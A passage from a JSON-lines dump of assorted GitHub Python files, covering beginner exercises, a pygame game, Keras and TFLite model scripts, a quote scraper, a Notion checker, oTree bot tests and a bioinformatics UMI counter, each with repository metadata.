spheroid\"","repo_name":"todatech/checkio","sub_path":"py_checkio_solutions/Dropbox/humpty_dumpty.py","file_name":"humpty_dumpty.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25830004753","text":"#Exercício Python 67: Faça um programa que mostre a tabuada de vários números, um de cada vez, para cada valor digitado pelo usuário. \n# O programa será interrompido quando o número solicitado for negativo.\n\nwhile True:\n choice = int(input('Escolha um número para acessar a tabuada do respectivo: '))\n if choice < 0:\n break\n else:\n for i in range(0, 10):\n print(f'{choice} x {i} = {choice * i}')\n\nprint('O negativo não é aceito neste programa! Fim do Programa!')\n","repo_name":"yuridesideri/PythonCourse","sub_path":"Exerc/Curso/exerc67.py","file_name":"exerc67.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74398915927","text":"import sys\nimport pygame\nfrom car import Car\n\n\nclass Game:\n \"\"\"\n Game class\n\n Arguments:\n size {tuple} -- window size\n \"\"\"\n\n def __init__(self, size):\n self.width = size[0]\n self.height = size[1]\n self.win = pygame.display.set_mode(size)\n self.display = pygame.Surface((5000, 5000))\n pygame.display.set_caption(\"Racing Game\")\n self.background = (255, 255, 255)\n\n self.p = Car((self.width / 2, self.height / 2))\n\n def input(self, keys):\n rot_speed = 4\n acc = 2\n\n if keys[pygame.K_LEFT]:\n self.p.hdg -= rot_speed\n if keys[pygame.K_RIGHT]:\n self.p.hdg += rot_speed\n\n if keys[pygame.K_UP]:\n self.p.accelerating = True\n self.p.speed += acc\n elif keys[pygame.K_DOWN]:\n self.p.accelerating = True\n self.p.speed -= acc\n else:\n self.p.accelerating = False\n\n def logic(self, delta):\n self.p.apply_friction(0.96)\n self.p.update(delta)\n\n def render(self, window, disp):\n self.display.fill(self.background)\n window.fill(self.background)\n\n self.p.render(disp)\n\n window.blit(disp, (0, 0))\n pygame.display.update()\n\n\ndef main():\n pygame.init()\n g = Game((1200, 800))\n clock = pygame.time.Clock()\n fps = 60\n\n while True:\n clock.tick(fps)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return\n\n g.input(pygame.key.get_pressed())\n g.logic(clock.get_time() / 1000)\n g.render(g.win, g.display)\n\n\nif __name__ == \"__main__\":\n main()\n sys.exit()\n","repo_name":"PythonixCoders/practice","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"73079716569","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport os\n\n# Step 2: Load and preprocess the data\nimage_folder = 'D://projects//documents//Time to throw away//Deeplearning//py_test//Resources//recyclable_materials'\nimage_size = (224, 224) # Adjust the size according to your requirements\n\nimages = []\nlabels = []\n\nfor class_folder in os.listdir(image_folder):\n class_path = os.path.join(image_folder, class_folder)\n if os.path.isdir(class_path):\n class_label = int(class_folder)\n for image_file in os.listdir(class_path):\n image_path = os.path.join(class_path, image_file)\n image = keras.preprocessing.image.load_img(image_path, target_size=image_size)\n image_array = keras.preprocessing.image.img_to_array(image)\n images.append(image_array)\n labels.append(class_label)\n\n# Convert lists to numpy arrays\nimages = np.array(images)\nlabels = np.array(labels)\n\n# Step 3: Split the data into training and validation sets\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_val, y_train, y_val = train_test_split(images, labels, test_size=0.2, random_state=42)\n\n# Step 4: Define the model architecture\nmodel = keras.models.Sequential([\n keras.layers.Conv2D(32, (3, 3), activation='relu', input_shape=(image_size[0], image_size[1], 3)),\n keras.layers.MaxPooling2D((2, 2)),\n keras.layers.Flatten(),\n keras.layers.Dense(64, activation='relu'),\n keras.layers.Dense(10, activation='softmax') # Adjust the output size based on your number of classes\n])\n\n# Step 5: Compile and train the model\nmodel.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\nmodel.fit(X_train, y_train, epochs=10, validation_data=(X_val, y_val))\n\n# Step 6: Save the trained model and labels\nmodel.save('keras_Model.h5')\n\nwith open('labels.txt', 'w') as f:\n for class_label in range(10): # Modify the range according to your number of classes\n f.write(str(class_label) + '\\n')\n","repo_name":"jasimuddinrony/machine-learning","sub_path":"core-application/traindata.py","file_name":"traindata.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"624548729","text":"import pandas as pd\nimport streamlit as st\nimport json\nimport requests\nimport asyncio\nimport aiohttp\n\nfrom ref import *\n\n\ndef to_request(inputs, request_meta):\n # Turn dataframe into JSON data structure\n data_js = inputs.to_json(orient='records')\n data_ls = json.loads(data_js)\n #Create array of JSON requests\n req = []\n for i in range(len(inputs)):\n request_data = {}\n y = data_ls[i]\n request_data['inputs'] = y\n request = {\n 'request_data': request_data,\n 'request_meta': request_meta\n }\n req.append(request)\n return req\n\ndef write_results(x):\n #Write threading results to array of JSON repsonses\n results = []\n for i in range(len(x)):\n arr = {}\n Premium = x[i]['response_data']['outputs']['Premium_Annual']\n # CapitalReq = x[i]['response_data']['outputs']['CapitalReq']\n arr['Premium'] = Premium\n # arr['CapitalReq'] = CapitalReq\n results.append(arr)\n return results\n\n#aSync Functionality\nasync def async_batch_call(url, headers, data_list):\n async with aiohttp.ClientSession() as session:\n tasks =[session.post(url, headers=headers, json=data) for data in data_list]\n responses = await asyncio.gather(*tasks)\n results = []\n for resp in responses:\n results.append(await resp.json())\n return results\n\n\n# def data_load(x): \n# # Set-up file and read in data into a pandas dataframe\n# try:\n# data = pd.read_csv(x)\n# st.text(\"Upload success!\")\n# buffer = io.StringIO()\n# data.info(buf=buffer)\n# s = buffer.getvalue()\n# st.text(s)\n# return data\n# except ValueError:\n# st.text(\"Waiting for file...\")\n\n# # Function Creations\n\n# def to_json(x):\n# # Turn dataframe into JSON data structure\n# data_js_r = x.to_json(orient='records')\n# data_js = json.loads(data_js_r)\n# # res = json.dumps(data_js)\n# inputs['tblCenus'] = data_js\n# request_data = {}\n# request_data['inputs'] = inputs\n# request = {\n# 'request_data': request_data,\n# 'request_meta': request_meta\n# }\n# return request\n\n# def spark_call(payload):\n# response = requests.request(\"POST\", url, headers=headers, data=json.dumps(payload), allow_redirects=False)\n# return response.json()\n\n# def result(x):\n# #Write threading results to array of JSON repsonses\n# results = []\n# for i in range(len(x)):\n# arr = {}\n# Reserve = x[i]['response_data']['outputs']['Reserve']\n# CapitalReq = x[i]['response_data']['outputs']['CapitalReq']\n# arr['Reserve'] = Reserve\n# arr['CapitalReq'] = CapitalReq\n# results.append(arr)\n# return results\n\n\n\n\n","repo_name":"nstanzione-coherent/demoStreamlit","sub_path":"QuoteTool/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74452600729","text":"from utils.argparse import ConfigurationParer\r\nfrom xai.XGNN.gnn_explain import gnn_explain\r\nfrom training.train_gnn import train\r\nimport logging\r\nimport json\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef main():\r\n # config settings\r\n parser = ConfigurationParer()\r\n parser.add_save_cfgs()\r\n parser.add_data_cfgs()\r\n parser.add_model_cfgs()\r\n parser.add_optimizer_cfgs()\r\n cfg = parser.parse_args()\r\n logger.info(parser.format_values())\r\n # train GNN\r\n if cfg.train_gnn:\r\n train(cfg)\r\n\r\n # explain GNN\r\n start_from = cfg.start_from\r\n if start_from == \"existing\":\r\n # test_idxs = cfg.test_idx\r\n test_idxs = [1, 2, 3, 4, 5]\r\n for test_idx in test_idxs:\r\n gnn_explainer = gnn_explain(cfg)\r\n gnn_explainer.train(cfg.model_checkpoints_dir, cfg.model_file, test_idx)\r\n else:\r\n gnn_explainer = gnn_explain(cfg)\r\n gnn_explainer.train(cfg.model_checkpoints_dir, cfg.model_file, test_idx) \r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n","repo_name":"dloveland/LCGE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7569787021","text":"import os\nimport wget\nimport pandas as pd\n\nfrom aggets import util\n\n\nclass Binary:\n def __init__(self, path='/tmp/ds'):\n self.path = path\n\n def _load(self, file, set_name, zipped=False, skip=None):\n source = f'https://github.com/scikit-multiflow/streaming-datasets/raw/master/{set_name}'\n if not os.path.isfile(file):\n wget.download(url=source, out=file)\n df = pd.read_csv(file)\n print(file, df.shape, df.columns)\n n = len(df)\n\n if skip is not None:\n df = df[int(n * skip):]\n n = len(df)\n train_df = df[0:int(n * 0.7)]\n val_df = df[int(n * 0.7):int(n * 0.9)]\n test_df = df[int(n * 0.9):]\n\n num_features = df.shape[1]\n column_indices = {name: i for i, name in enumerate(df.columns)}\n\n return {'train': train_df, 'val': val_df, 'df': df,\n 'test': test_df, 'features': num_features,\n 'column_indices': column_indices}\n\n def agr_a(self):\n set_name = 'agr_a.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def agr_g(self):\n set_name = 'agr_g.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def hyper_f(self):\n set_name = 'hyper_f.csv.zip'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name, zipped=True)\n\n def hyper_f2(self, skip=0.5):\n set_name = 'hyper_f.csv.zip'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name, zipped=True, skip=skip)\n\n def airlines(self):\n set_name = 'airlines.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def electric(self):\n set_name = 'elec.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def iris_ts(self):\n set_name = 'iris_timestamp.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def sea_a(self):\n set_name = 'sea_a.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def sea_g(self):\n set_name = 'sea_g.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def weather(self):\n set_name = 'weather.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n\n\nclass Binary_pp:\n def __init__(self, path='/tmp/ds'):\n self.path = path\n\n def _load(self, file, set_name, zipped=False):\n source = f'https://github.com/rlyyah/concept_drift_ds/tree/master/data/{set_name}'\n if not os.path.isfile(file):\n wget.download(url=source, out=file)\n df = pd.read_csv(file)\n print(file, df.shape, df.columns)\n n = len(df)\n train_df = df[0:int(n * 0.7)]\n val_df = df[int(n * 0.7):int(n * 0.9)]\n test_df = df[int(n * 0.9):]\n\n num_features = df.shape[1]\n column_indices = {name: i for i, name in enumerate(df.columns)}\n\n return {'train': train_df, 'val': val_df, 'df': df,\n 'test': test_df, 'features': num_features,\n 'column_indices': column_indices}\n\n def covtype(self):\n set_name = 'covtype.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def fin_adult(self):\n set_name = 'first_fin_adult.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def fin_bank(self):\n set_name = 'first_fin_bank.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def fin_digits(self):\n set_name = 'first_fin_digits08.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def fin_digits_bis(self):\n set_name = 'first_fin_digits17.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def fin_musk(self):\n set_name = 'first_fin_musk.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def fin_phis(self):\n set_name = 'first_fin_phis.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n \n def fin_wine(self):\n set_name = 'first_fin_wine.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def nsl(self):\n set_name = 'nsl.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def nsl_kdd(self):\n set_name = 'nsl_kdd.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def phishing(self):\n set_name = 'phishing.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def spam(self):\n set_name = 'spam.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\n def spamassassian(self):\n set_name = 'spamassassian.csv'\n file = f'{self.path}/{set_name}'\n return self._load(file, set_name)\n\nif __name__ == '__main__':\n binary = Binary()\n # binary.agr_a()\n # binary.agr_g()\n # binary.sea_a()\n # binary.sea_g()\n # binary.weather()\n # binary.electric()\n\n import aggets.ds.aggregate_nd as agg_nd\n\n\n def make_window(data, name, window_size=50):\n train_np = data['train']\n val_np = data['val']\n test_np = data['test']\n file_name = f'{name}-ws{window_size}.bin'\n if not os.path.exists(file_name):\n window = agg_nd.window_generator(train_np.to_numpy(), val_np.to_numpy(), test_np.to_numpy(),\n window_size=window_size, e=0.00001, hist_bins=20, hist_dim=1)\n window.init_structures()\n util.save(window, path=file_name)\n return util.load(path=file_name)\n\n\n data_types = {\n 'agr_a': make_window(binary.agr_a(), 'agr_a', window_size=500),\n 'agr_g': make_window(binary.agr_g(), 'agr_g', window_size=500),\n 'sea_a': make_window(binary.sea_a(), 'sea_a', window_size=500),\n 'sea_g': make_window(binary.sea_g(), 'sea_g', window_size=500),\n 'weather': make_window(binary.weather(), 'weather'),\n 'electric': make_window(binary.electric(), 'electric')\n }\n","repo_name":"rwiatr/aggets","sub_path":"aggets/ds/data_catalog.py","file_name":"data_catalog.py","file_ext":"py","file_size_in_byte":6362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74668687449","text":"from bs4 import BeautifulSoup\nimport requests\nfrom csv import writer\nNUM_PAGES = 5\n\n# Arrays to hold quotes and authors\nquotes = []\nauthors = []\n\n# Store user input as tag to search\ntag = input(\"Enter tag: \")\n\n# Loop through number of pages\nfor page_num in range(1, NUM_PAGES+1):\n\n # Store the URL as a string\n url = \"http://goodreads.com/quotes/tag/\" + str(tag) + \"?page=\" + str(page_num)\n\n # Store the target webpage as a variable\n page = requests.get(url)\n\n # Store the webpage html as a variable\n soup = BeautifulSoup(page.text, \"html.parser\")\n\n # List of html elements containing quotes\n quote_objects = soup.findAll(\"div\", attrs={\"class\":\"quoteText\"})\n\n # Parse list of quote objects per page\n for quote in quote_objects:\n\n # Count number of
    tags\n num_br = len(quote.find_all(\"br\"))\n\n # Only add quote if number of
    tags is 1 or less\n if num_br <= 1:\n\n # Add quote text and author to arrays\n quotes.append(quote.find(string=True, recursive=False).strip())\n authors.append(quote.find(\"span\", attrs={\"class\":\"authorOrTitle\"}).find(string=True).strip().rstrip(\",\"))\n\n# Open file\nwith open(\"../csv/\" + tag + \".csv\", \"w\", encoding=\"utf8\") as file:\n\n # Initialize writer\n writer = writer(file)\n\n # Write header\n header = [\"Quote\", \"Author\"]\n writer.writerow(header)\n\n # Write quote followed by author\n for quote, author in zip(quotes, authors):\n line = [quote, author]\n writer.writerow(line)","repo_name":"shoyt123/QuickQuotes","sub_path":"QuickQuotes-main/backend/webscraper/Webscraper.py","file_name":"Webscraper.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9779861429","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 15 15:53:21 2019\n\n@author: snm0205\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\nAuthor: Sammed Mandape\nPurpose: This python code will find UMIs given primers, read1(fastq)\nand read2(fastq) as inputs. \nThis is a temporary script file.\n\"\"\"\n\nimport os\nimport time\nimport re\nimport collections\n#import sys\n#import pandas as pd\n#from pytidyverse import *\n#from dplython import (DplyFrame, X, diamonds, select, sift, sample_n, sample_frac, head, arrange, mutate, group_by, summarize, DelayFunction)\n\n#remember to change directory\nos.chdir(\"C:\\\\Users\\\\snm0205\\\\Desktop\\\\UMI\\\\Run2_10ng_8samples_300cycles\")\n\n\ncomplement = {'A' : 'T', 'C' : 'G', 'T' : 'A', 'G' : 'C'}\n\ndef reverse_complement(seq):\n bases = list(seq)\n bases = ''.join(complement[base] for base in reversed(bases))\n return bases\n\n#function that takes in a primer file and an empty dictionary and returns \n#dictionary with chr-pos as key and primer as value\ndef dict_for_primer(file_primer, dict_primer_empty):\n if not file_primer:\n raise SystemError(\"Error: Specify primer file name\\n\")\n with open(file_primer, 'r') as fh_primer:\n for line in fh_primer:\n #(key, val) = line.split()\n #dict_primer_empty[key] = val\n (val1Locus, val2Chr, keyPos, val3Strand, val4Primer, val5Anchor) = (line.rstrip('\\n')).split('\\t')\n if val3Strand == \"1\":\n #testcount += 1\n val4Primer = reverse_complement(val4Primer)\n val5Anchor = reverse_complement(val5Anchor)\n #print (\"This is the reverse complement: %s and %s\" % (val4Primer, val5Anchor))\n else:\n pass\n dict_primer_empty[keyPos] = [val1Locus, val2Chr, val3Strand, val4Primer, val5Anchor]\n return dict_primer_empty\n\n#function that takes in a fastq file and an empty dictionary and returs\n#dictionary with seqid as key and seq as values\ndef dict_for_fastq(file_fastq, dict_fastq_empty):\n if not file_fastq:\n raise SystemError(\"Error: Specify fastq file name\\n\")\n n = 4\n with open(file_fastq, 'r') as fh:\n lines = []\n count = 0\n for line in fh:\n lines.append(line.rstrip())\n if len(lines) == n:\n count += 1\n ks = ['name', 'sequence', 'optional', 'quality']\n record = {k: v for k, v in zip(ks, lines)}\n #sys.stderr.write(\"Record: %s\\n\" % (str(record)))\n #print(record['name'],record['sequence'])\n dict_fastq_empty[record['name'].split(' ')[0]] = record['sequence']\n lines = []\n print(count) \n return dict_fastq_empty\n\n \n# define an empty dictionary for primers\ndict_primer = {}\n\n#input primer file\n#file_primer = \"Primers_hg38_26.txt\"\nfile_primer = \"PrimedAnchors.txt\"\ndict_for_primer(file_primer, dict_primer)\n#print(dict_primer.keys())\n\n#define an empty dictionary for Read1 fastq \ndict_fastq_R1 = {}\ndict_fastq_R2 = {}\n\n#input Read1 fastq file\nfile_fastq_R1 = \"07908-10_S7_L001_R1_001.fastq\"\nfile_fastq_R2 = \"07908-10_S7_L001_R2_001.fastq\"\ndict_for_fastq(file_fastq_R1, dict_fastq_R1)\ndict_for_fastq(file_fastq_R2, dict_fastq_R2)\n\n\nstart = time.time()\ncounterCS_P = 0\ncounterCS = 0\ncounter_noCS_match = 0\n#key_count = 0\n\n# CS ATTGGAGTCCT\nUmiSTRLociList = []\n#LociList = []\n#LociRead2Seq_postCS = []\n\nfor key in set(dict_fastq_R1) & set(dict_fastq_R2):\n readR1 = dict_fastq_R1[key]\n readR2 = dict_fastq_R2[key]\n #key_count += 1\n #numMatches=0\n if re.match(r'(.{12})(ATTGGAGTCCT)', readR2) is not None:\n counterCS += 1\n for items in dict_primer.items():\n #re.search(r'%s(.*)', readR1).group(1)\n if re.match(r'%s(.*)%s' % (items[1][3], items[1][4]), readR1):\n Loci = items[1][0]\n #R1 = readR1\n #R2 = readR2\n STRseq = re.match(r'%s(.*)%s' % (items[1][3], items[1][4]), readR1).group(1)\n searchCS = re.match(r'(.{12})(ATTGGAGTCCT)(.{10})', readR2)\n UMI = searchCS.group(1)\n #CommSeq = searchCS.group(2)\n #readR2Seq = searchCS.group(3)\n #print (Loci, UMI, Primer, readR1, readR2)\n #print(Loci, readR2Seq)\n counterCS_P += 1\n #numMatches += 1\n UmiSTRLociList.append((Loci, STRseq, UMI))\n #LociList.append(Loci)\n #LociRead2Seq_postCS.append((Loci, STRseq, UMI))\n else:\n counter_noCS_match += 1\n #if readR1.find(items[1]) != -1:\n #count += 1\n #print (items[1])\n \n #if numMatches > 1:\n # print(\"Should never happen!\", UmiLociList[-numMatches:-1], file=sys.stderr)\n # sys.exit(1)\n#print(key_count) \nUmiSTRLociCount = collections.defaultdict(int) \nfor k in UmiSTRLociList:\n UmiSTRLociCount[k] += 1\n \n#LociRead2SeqCount_postCS = collections.defaultdict(int)\n#for k in LociRead2Seq_postCS:\n# LociRead2SeqCount_postCS[k] += 1\n#print('{}:{}\\n'.format(k,v) for k,v in UmiLociCount.items())\n#print(UmiLociList)\n\n# the following output is to get the 10bp seq after CS\n#with open(\"Loci_ReadR2Seq_post_CS.txt\", 'w+') as fh:\n# fh.writelines('{}\\t{}\\n'.format(k,v) for k,v in LociRead2SeqCount_postCS.items())\n \nwith open('UmiSTRLociCount_07908-10_S7_L001_R1_001_atStart_LName_dup.txt', 'w') as fh:\n fh.writelines([\"\\t\".join(k) + \"\\t\" + repr(v) + \"\\n\" for k,v in UmiSTRLociCount.items()])\n \n#UmiLociCount_df = pd.DataFrame.from_dict([UmiLociCount])\n#UmiLociCount_df.to_csv('UmiLociCount.txt', header = False, mode = 'a')\nend = time.time()\nprint(end-start)\n#print(UmiLociCount.items())\nprint(\"Counter for CS = %d and counter for Primer = %d and counter for no CS match = %d\" % (counterCS, counterCS_P, counter_noCS_match))\n\n ","repo_name":"SammedMandape/UMI-dev","sub_path":"UMI_STR_with_anchors.py","file_name":"UMI_STR_with_anchors.py","file_ext":"py","file_size_in_byte":5897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15094852280","text":"import os\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nfrom notion.client import NotionClient\n\npostUrl = \"https://www.notion.so/prsmlab/2057ce5fa809459684ca8e51c4b6d461?v=c05502589aa34e10bb3004318c84916c\"\n\nenv_path = Path(\".\") / \".env\"\nload_dotenv(dotenv_path=env_path)\nnotionClient = NotionClient(token_v2=os.environ[\"NOTION_TOKEN\"])\n\npostCollection = notionClient.get_collection_view(os.environ[\"POST_URL\"])\npostRows = postCollection.collection.get_rows()\nprint(\"postItem keys:\")\nprint(list(postRows[0].get_all_properties().keys()))\n\nlinkCollection = notionClient.get_collection_view(os.environ[\"LINK_URL\"])\nlinkRows = linkCollection.collection.get_rows()\nprint(\"linkItem keys:\")\nprint(list(linkRows[0].get_all_properties().keys()))","repo_name":"spctrm404/slack-event-to-notion","sub_path":"notionPropChk.py","file_name":"notionPropChk.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70184997849","text":"from otree.api import Currency as c, currency_range, SubmissionMustFail\nfrom . import pages\nfrom ._builtin import Bot\nfrom .models import Constants\n\n\nclass PlayerBot(Bot):\n def play_round(self):\n submissions = {\n 1: {'question': 2, 'prediction1': 0.1, 'prediction2': 0.2, 'prediction3': 0.3, 'prediction4': 0.4},\n 2: {'question': 3, 'prediction1': 0.5, 'prediction2': 0.3, 'prediction3': 0.1, 'prediction4': 0.1},\n 3: {'question': 4, 'prediction1': 0.5, 'prediction2': 0.2, 'prediction3': 0.2, 'prediction4': 0.1}\n }\n\n correct_scores = {\n 1: {'information_score': 0.3757, 'prediction_score': -0.1446, 'respondent_score': 0.2310},\n 2: {'information_score': 0.6067, 'prediction_score': -0.8378, 'respondent_score': -0.2310},\n 3: {'information_score': 0.7419, 'prediction_score': -0.7419, 'respondent_score': 0}\n }\n\n # test page\n # predictions do not sum to 1\n yield SubmissionMustFail(pages.TruthSerum, {'question': 2, 'prediction1': 0.1, 'prediction2': 0.2,\n 'prediction3': 0.3, 'prediction4': 0.5})\n # at least one entry == 0\n yield SubmissionMustFail(pages.TruthSerum, {'question': 2, 'prediction1': 0, 'prediction2': 0.2,\n 'prediction3': 0.3, 'prediction4': 0.5})\n\n # all good\n yield pages.TruthSerum, submissions[self.player.id_in_subsession]\n\n # check calculations\n assert round(self.player.information_score, 4) == correct_scores[self.player.id_in_subsession]['information_score']\n assert round(self.player.prediction_score, 4) == correct_scores[self.player.id_in_subsession]['prediction_score']\n assert round(self.player.respondent_score, 4) == correct_scores[self.player.id_in_subsession]['respondent_score']\n\n\n yield pages.Results\n","repo_name":"chkgk/otree_bayesian_truth_serum","sub_path":"bts/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22615686005","text":"import ast\nimport datetime\nimport io\nimport json\nimport os\nimport platform\nimport sys\nimport time\n\nimport config_utils\nimport cv2\nimport IPCUtils as ipc_utils\nimport numpy as np\nimport tflite_runtime.interpreter as tflite\n\nconfig_utils.logger.info(\"Using tflite from '{}'.\".format(sys.modules[tflite.__package__].__file__))\nconfig_utils.logger.info(\"Using np from '{}'.\".format(np.__file__))\nconfig_utils.logger.info(\"Using cv2 from '{}'.\".format(cv2.__file__))\n\n\ndef get_bbox_abs_coordinate(box, ih, iw):\n x = int(box[0] * iw)\n y = int(box[1] * ih)\n w = int(box[2] * iw - x)\n h = int(box[3] * ih - y)\n return x, y, w, h\n\n\ndef get_label_map(label_file):\n label_map = {}\n labels = open(label_file, 'r')\n \n for line in labels:\n line = line.rstrip(\"\\n\")\n ids = line.split(',')\n label_map[int(ids[0])] = ids[2] \n \n return label_map\n\n\n# Read labels file\nlabel_path = os.path.join(config_utils.MODEL_DIR, config_utils.LABEL_FILE_NAME)\nconfig_utils.logger.info(\"class info path: '{}'.\".format(label_path))\nlabel_map = get_label_map(label_path)\nlabel_list = list(label_map.values())\n\ntry:\n interpreter = tflite.Interpreter(\n model_path=os.path.join(config_utils.MODEL_DIR, config_utils.MODEL_FILE_NAME)\n )\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\nexcept Exception as e:\n config_utils.logger.info(\"Exception occured during the allocation of tensors: {}\".format(e))\n exit(1)\n\n\ndef predict_from_cam():\n r\"\"\"\n Captures an image using camera and sends it for prediction\n \"\"\"\n cvimage = None\n if config_utils.CAMERA is None:\n config_utils.logger.error(\"Unable to support camera.\")\n exit(1)\n if platform.machine() == \"armv7l\": # RaspBerry Pi\n stream = io.BytesIO()\n config_utils.CAMERA.start_preview()\n time.sleep(2)\n config_utils.CAMERA.capture(stream, format=\"jpeg\")\n # Construct a numpy array from the stream\n data = np.fromstring(stream.getvalue(), dtype=np.uint8)\n # \"Decode\" the image from the array, preserving colour\n cvimage = cv2.imdecode(data, 1)\n elif platform.machine() == \"aarch64\": # Nvidia Jetson Nano\n if config_utils.CAMERA.isOpened():\n ret, cvimage = config_utils.CAMERA.read()\n cv2.destroyAllWindows()\n else:\n raise RuntimeError(\"Cannot open the camera\")\n elif platform.machine() == \"x86_64\": # Deeplens\n ret, cvimage = config_utils.CAMERA.getLastFrame()\n if ret == False:\n raise RuntimeError(\"Failed to get frame from the stream\")\n if cvimage is not None:\n return predict_from_image(cvimage)\n else:\n config_utils.logger.error(\"Unable to capture an image using camera\")\n exit(1)\n\n\ndef load_image(image_path):\n r\"\"\"\n Validates the image type irrespective of its case. For eg. both .PNG and .png are valid image types.\n Also, accepts numpy array images.\n\n :param image_path: path of the image on the device.\n :return: a numpy array of shape (1, input_shape_x, input_shape_y, no_of_channels)\n \"\"\"\n # Case insenstive check of the image type.\n img_lower = image_path.lower()\n if (\n img_lower.endswith(\n \".jpg\",\n -4,\n )\n or img_lower.endswith(\n \".png\",\n -4,\n )\n or img_lower.endswith(\n \".jpeg\",\n -5,\n )\n ):\n try:\n image_data = cv2.imread(image_path)\n except Exception as e:\n config_utils.logger.error(\n \"Unable to read the image at: {}. Error: {}\".format(image_path, e)\n )\n exit(1)\n elif img_lower.endswith(\n \".npy\",\n -4,\n ):\n image_data = np.load(image_path)\n else:\n config_utils.logger.error(\"Images of format jpg,jpeg,png and npy are only supported.\")\n exit(1)\n return image_data\n\n\ndef predict_from_image(img):\n #cv image\n r\"\"\"\n Resize the image to the trained model input shape and predict using it.\n\n :param image: numpy array of the image passed in for inference\n \"\"\"\n ih, iw, _ = img.shape\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img = cv2.resize(img, (config_utils.MODEL_INPUT_SIZE, config_utils.MODEL_INPUT_SIZE))\n img = np.asarray(img).astype('float32')\n img = img / 255. \n img = np.expand_dims(img, axis=0) \n\n config_utils.logger.info(\"image shape after resizing: '{}'.\".format(img.shape)) \n predict(img, ih, iw)\n \n \ndef enable_camera():\n r\"\"\"\n Checks of the supported device types and access the camera accordingly.\n \"\"\"\n if platform.machine() == \"armv7l\": # RaspBerry Pi\n import picamera\n\n config_utils.CAMERA = picamera.PiCamera()\n elif platform.machine() == \"aarch64\": # Nvidia Jetson TX\n config_utils.CAMERA = cv2.VideoCapture(\n \"nvarguscamerasrc ! video/x-raw(memory:NVMM),\"\n + \"width=(int)1920, height=(int)1080, format=(string)NV12,\"\n + \"framerate=(fraction)30/1 ! nvvidconv flip-method=2 !\"\n + \"video/x-raw, width=(int)1920, height=(int)1080,\"\n + \"format=(string)BGRx ! videoconvert ! appsink\"\n )\n elif platform.machine() == \"x86_64\": # Deeplens\n import awscam\n\n config_utils.CAMERA = awscam\n \n \ndef batch_iou(boxes, box):\n \"\"\"Compute the Intersection-Over-Union of a batch of boxes with another box.\n Args:\n box1: 2D array of [cx, cy, width, height].\n box2: a single array of [cx, cy, width, height]\n Returns:\n ious: array of a float number in range [0, 1].\n \"\"\"\n lr = np.maximum(\n np.minimum(boxes[:,0]+0.5*boxes[:,2], box[0]+0.5*box[2]) - \\\n np.maximum(boxes[:,0]-0.5*boxes[:,2], box[0]-0.5*box[2]),\n 0\n )\n tb = np.maximum(\n np.minimum(boxes[:,1]+0.5*boxes[:,3], 